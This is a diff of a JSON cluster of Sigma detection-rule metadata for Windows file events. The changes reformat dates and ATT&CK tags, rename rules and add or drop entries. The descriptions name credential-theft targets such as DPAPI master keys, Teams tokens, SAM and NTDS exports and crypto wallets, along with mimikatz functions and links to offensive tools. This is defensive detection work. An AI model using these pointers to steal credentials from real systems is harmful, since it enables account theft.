-14658,16 +14694,16 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://labs.withsecure.com/publications/detecting-onenote-abuse", + "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/", "https://twitter.com/MaD_c4t/status/1623414582382567424", - "https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/", "https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/", - "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/", + "https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/", "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", - "https://labs.withsecure.com/publications/detecting-onenote-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_susp_dropped_files.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "fcc6d700-68d9-4241-9a1a-06874d621b06", @@ -14677,7 +14713,7 @@ "description": "Detects the creation of a new office macro files on the systems via an application (browser, mail client).", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Legitimate macro files downloaded from the internet", "Legitimate macro files sent as attachments via emails" @@ -14687,12 +14723,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_downloaded.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -14708,45 +14744,11 @@ "uuid": "0e29e3a7-1ad8-40aa-b691-9f82ecd33d66", "value": "Office Macro File Download" }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "meta": { - "author": "@SerkinValery", - "creation_date": "2022/09/16", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_access_susp_teams.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ] - }, - "related": [ - { - "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", - "value": "Suspicious File Event With Teams Objects" - }, { "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", "meta": { "author": "Subhash Popuri (@pbssubhash)", - "creation_date": "2021/08/21", + "creation_date": "2021-08-21", "falsepositive": [ "Any powershell script that creates bat files" ], @@ -14760,8 +14762,8 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1574.001" ] }, @@ -14781,7 +14783,7 @@ "description": "Detects the creation of file by the \"node.exe\" process in the \".vscode-server\" directory. Could be a sign of remote file creation via VsCode tunnel feature\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Unknown" ], @@ -14794,7 +14796,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscode_tunnel_remote_creation_artefacts.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "56e05d41-ce99-4ecd-912d-93f019ee0b71", @@ -14804,7 +14806,7 @@ "description": "Detects the creation of new files with the \".evtx\" extension in non-common or non-standard location.\nThis could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within.\nNote that backup software and legitimate administrator might perform similar actions during troubleshooting.\n", "meta": { "author": "D3F7A5105", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Administrator or backup activity", "An unknown bug seems to trigger the Windows \"svchost\" process to drop EVTX files in the \"C:\\Windows\\Temp\" directory in the form \"_.evtx\". See https://superuser.com/questions/1371229/low-disk-space-after-filling-up-c-windows-temp-with-evtx-and-txt-files" @@ -14818,7 +14820,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -14838,7 +14840,7 @@ "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Legitimate use of the profile by developers or administrators" ], @@ -14852,7 +14854,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.013" ] }, @@ -14872,7 +14874,7 @@ "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", "meta": { "author": "C.J. May", - "creation_date": "2022/08/09", + "creation_date": "2022-08-09", "falsepositive": [ "Some false positives may arise in some environment and this may require some tuning. Add additional filters or reduce level depending on the level of noise" ], @@ -14946,7 +14948,7 @@ "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/29", + "creation_date": "2021-11-29", "falsepositive": [ "Unknown" ], @@ -14955,12 +14957,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1465282548494487554", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", + "https://twitter.com/0gtweet/status/1465282548494487554", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", @@ -14970,7 +14972,7 @@ "description": "Ransomware create txt file in the user Desktop", "meta": { "author": "frack113", - "creation_date": "2021/12/26", + "creation_date": "2021-12-26", "falsepositive": [ "Unknown" ], @@ -15003,7 +15005,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate use" ], @@ -15016,7 +15018,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -15036,7 +15038,7 @@ "description": "Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories).\nUsually this technique is used to achieve DLL hijacking.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), fornotes", - "creation_date": "2022/12/01", + "creation_date": "2022-12-01", "falsepositive": [ "Unknown" ], @@ -15045,18 +15047,18 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", + "https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc", "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", - "https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc", "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", "https://github.com/Wh04m1001/SysmonEoP", - "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -15084,7 +15086,7 @@ "description": "Detects suspicious file based on their extension being created in \"C:\\PerfLogs\\\". Note that this directory mostly contains \".etl\" files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Unlikely" ], @@ -15093,8 +15095,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "Internal Research", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_perflogs_susp_files.yml" ], "tags": [ @@ -15114,44 +15116,11 @@ "uuid": "bbb7e38c-0b41-4a11-b306-d2a457b7ac2b", "value": "Suspicious File Created In PerfLogs" }, - { - "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/19", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_access_susp_unattend_xml.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ] - }, - "related": [ - { - "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", - "value": "Suspicious Unattend.xml File Access" - }, { "description": "Detects the creation of files in a specific location by ScreenConnect RMM.\nScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to \":\\Users\\\\Documents\\ConnectWiseControl\\Temp\\\" before execution.\n", "meta": { "author": "Ali Alwashali", - "creation_date": "2023/10/10", + "creation_date": "2023-10-10", "falsepositive": [ "Legitimate use of ScreenConnect" ], @@ -15184,7 +15153,7 @@ "description": "Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/11", + "creation_date": "2022-03-11", "falsepositive": [ "Unknown" ], @@ -15193,13 +15162,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -15219,7 +15188,7 @@ "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Rare cases of administrative activity" ], @@ -15228,15 +15197,15 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/cube0x0/CVE-2021-36934", "https://github.com/HuskyHacks/ShadowSteal", + "https://github.com/search?q=CVE-2021-36934", "https://github.com/FireFart/hivenightmare", "https://www.google.com/search?q=%22reg.exe+save%22+sam", - "https://github.com/search?q=CVE-2021-36934", + "https://github.com/cube0x0/CVE-2021-36934", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -15256,7 +15225,7 @@ "description": "Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\", etc.", "meta": { "author": "frack113", - "creation_date": "2022/07/16", + "creation_date": "2022-07-16", "falsepositive": [ "Backup software" ], @@ -15286,26 +15255,60 @@ "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", "value": "Suspicious Appended Extension" }, + { + "description": "Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application.\nThis can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2022-10-17", + "falsepositive": [ + "Unknown" + ], + "filename": "file_access_win_susp_dpapi_master_key_access.yml", + "level": "medium", + "logsource.category": "file_access", + "logsource.product": "windows", + "refs": [ + "http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_dpapi_master_key_access.yml" + ], + "tags": [ + "attack.credential-access", + "attack.t1555.004" + ] + }, + "related": [ + { + "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", + "value": "Access To Windows DPAPI Master Keys By Uncommon Applications" + }, { "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/11", + "creation_date": "2022-10-11", "falsepositive": [ "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." ], - "filename": "file_access_win_credential_manager_access.yml", + "filename": "file_access_win_susp_credential_manager_access.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_access.yml" + "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_credential_manager_access.yml" ], "tags": [ "attack.t1003", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -15318,26 +15321,26 @@ } ], "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", - "value": "Credential Manager Access By Uncommon Application" + "value": "Credential Manager Access By Uncommon Applications" }, { "description": "Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share.", "meta": { "author": "frack113", - "creation_date": "2023/12/21", + "creation_date": "2023-12-21", "falsepositive": [ "Unknown" ], - "filename": "file_access_win_susp_gpo_access_file.yml", + "filename": "file_access_win_susp_gpo_files.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ "https://github.com/vletoux/pingcastle", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_gpo_access_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_gpo_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.006" ] }, @@ -15351,64 +15354,30 @@ } ], "uuid": "d51694fe-484a-46ac-92d6-969e76d60d10", - "value": "Access To Potentially Sensitive Sysvol Files By Uncommon Application" + "value": "Access To Potentially Sensitive Sysvol Files By Uncommon Applications" }, { - "description": "Detects file access requests to files ending with either the \".hive\"/\".reg\" extension, usually associated with Windows Registry backups.", + "description": "Detects file access requests to crypto currency files by uncommon processes.\nCould indicate potential attempt of crypto currency wallet stealing.\n", "meta": { - "author": "frack113", - "creation_date": "2023/09/15", - "falsepositive": [ - "Third party software installed in the user context might generate a lot of FPs. Heavy baselining and tuning might be required." - ], - "filename": "file_access_win_reg_and_hive_access.yml", - "level": "low", - "logsource.category": "file_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/tccontre/Reg-Restore-Persistence-Mole", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_reg_and_hive_access.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ] - }, - "related": [ - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "337a31c6-46c4-46be-886a-260d7aa78cac", - "value": "Access To .Reg/.Hive Files By Uncommon Application" - }, - { - "description": "Detects file access requests to browser credential stores by uncommon processes.\nCould indicate potential attempt of credential stealing.\nRequires heavy baselining before usage\n", - "meta": { - "author": "frack113", - "creation_date": "2022/04/09", + "author": "X__Junior (Nextron Systems)", + "creation_date": "2024-07-29", "falsepositive": [ "Antivirus, Anti-Spyware, Anti-Malware Software", "Backup software", "Legitimate software installed on partitions other than \"C:\\\"", "Searching software such as \"everything.exe\"" ], - "filename": "file_access_win_browser_credential_access.yml", + "filename": "file_access_win_susp_crypto_currency_wallets.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://github.com/lclevy/firepwd", - "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_access.yml" + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_crypto_currency_wallets.yml" ], "tags": [ "attack.t1003", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -15420,99 +15389,62 @@ "type": "related-to" } ], - "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", - "value": "Access To Browser Credential Files By Uncommon Application" + "uuid": "f41b0311-44f9-44f0-816d-dd45e39d4bc8", + "value": "Access To Crypto Currency Wallets By Uncommon Applications" }, { - "description": "Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application.\nThis can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", + "description": "Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.\n", "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/17", + "author": "@SerkinValery", + "creation_date": "2024-07-22", "falsepositive": [ "Unknown" ], - "filename": "file_access_win_dpapi_master_key_access.yml", + "filename": "file_access_win_teams_sensitive_files.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ] - }, - "related": [ - { - "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", - "value": "Access To Windows DPAPI Master Keys By Uncommon Application" - }, - { - "description": "Detects file access requests to Windows Outlook Mail by uncommon processes.\nCould indicate potential attempt of credential stealing.\nRequires heavy baselining before usage\n", - "meta": { - "author": "frack113", - "creation_date": "2024/05/10", - "falsepositive": [ - "Antivirus, Anti-Spyware, Anti-Malware Software", - "Backup software", - "Legitimate software installed on partitions other than \"C:\\\"", - "Searching software such as \"everything.exe\"" - ], - "filename": "file_access_win_outlook_mail_credential_access.yml", - "level": "low", - "logsource.category": "file_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/58496ee3306e6e42a7054d36a94e6eb561ee3081/atomics/T1070.008/T1070.008.md#atomic-test-4---copy-and-modify-mailbox-data-on-windows", - "https://darkdefender.medium.com/windows-10-mail-app-forensics-39025f5418d2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_outlook_mail_credential_access.yml" + "https://www.vectra.ai/blog/undermining-microsoft-teams-security-by-mining-tokens", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_teams_sensitive_files.yml" ], "tags": [ - "attack.t1070.008", - "attack.defense_evasion" + "attack.credential-access", + "attack.t1528" ] }, "related": [ { - "dest-uuid": "438c967d-3996-4870-bfc2-3954752a1927", + "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], - "uuid": "fc3e237f-2fef-406c-b90d-b3ae7e02fa8f", - "value": "Access To Windows Outlook Mail Files By Uncommon Application" + "uuid": "65744385-8541-44a6-8630-ffc824d7d4cc", + "value": "Microsoft Teams Sensitive File Access By Uncommon Applications" }, { "description": "Detects file access requests to the Windows Credential History File by an uncommon application.\nThis can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Unknown" ], - "filename": "file_access_win_susp_cred_hist_access.yml", + "filename": "file_access_win_susp_credhist.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://www.passcape.com/windows_password_recovery_dpapi_credhist", "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" + "https://www.passcape.com/windows_password_recovery_dpapi_credhist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_credhist.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.004" ] }, @@ -15526,13 +15458,13 @@ } ], "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", - "value": "Access To Windows Credential History File By Uncommon Application" + "value": "Access To Windows Credential History File By Uncommon Applications" }, { "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Changes made to or by the local NTP service" ], @@ -15546,7 +15478,7 @@ ], "tags": [ "attack.t1070.006", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -15565,7 +15497,7 @@ "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", "meta": { "author": "Tim Rauch (Nextron Systems), Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -15578,7 +15510,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -15598,7 +15530,7 @@ "description": "Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Cedric MAURUGEON", - "creation_date": "2021/09/29", + "creation_date": "2021-09-29", "falsepositive": [ "Unknown" ], @@ -15612,7 +15544,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -15632,7 +15564,7 @@ "description": "Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", "meta": { "author": "frack113", - "creation_date": "2022/01/02", + "creation_date": "2022-01-02", "falsepositive": [ "Legitime usage" ], @@ -15665,7 +15597,7 @@ "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", "meta": { "author": "Tim Rauch (Nextron Systems), Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -15678,7 +15610,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -15698,7 +15630,7 @@ "description": "Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Tim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/16", + "creation_date": "2022-09-16", "falsepositive": [ "During uninstallation of the IIS service", "During log rotation" @@ -15712,7 +15644,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_iis_access_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -15732,7 +15664,7 @@ "description": "Detects the deletion of the \"Zone.Identifier\" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Other third party applications not listed." ], @@ -15741,12 +15673,12 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://securityliterate.com/how-malware-abuses-the-zone-identifier-to-circumvent-detection-and-analysis/", "Internal Research", + "https://securityliterate.com/how-malware-abuses-the-zone-identifier-to-circumvent-detection-and-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_zone_identifier_ads_uncommon.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -15766,7 +15698,7 @@ "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/26", + "creation_date": "2022-10-26", "falsepositive": [ "Possible FP during log rotation" ], @@ -15779,7 +15711,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_exchange_powershell_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -15799,7 +15731,7 @@ "description": "Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/07/01", + "creation_date": "2021-07-01", "falsepositive": [ "Unknown" ], @@ -15808,16 +15740,16 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://github.com/cube0x0/CVE-2021-1675", "https://github.com/hhlxf/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_print_nightmare.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574", - "cve.2021.1675" + "cve.2021-1675" ] }, "related": [ @@ -15836,7 +15768,7 @@ "description": "Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence", "meta": { "author": "frack113", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "Unknown" ], @@ -15849,7 +15781,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_teamviewer_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -15869,7 +15801,7 @@ "description": "Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -15882,7 +15814,7 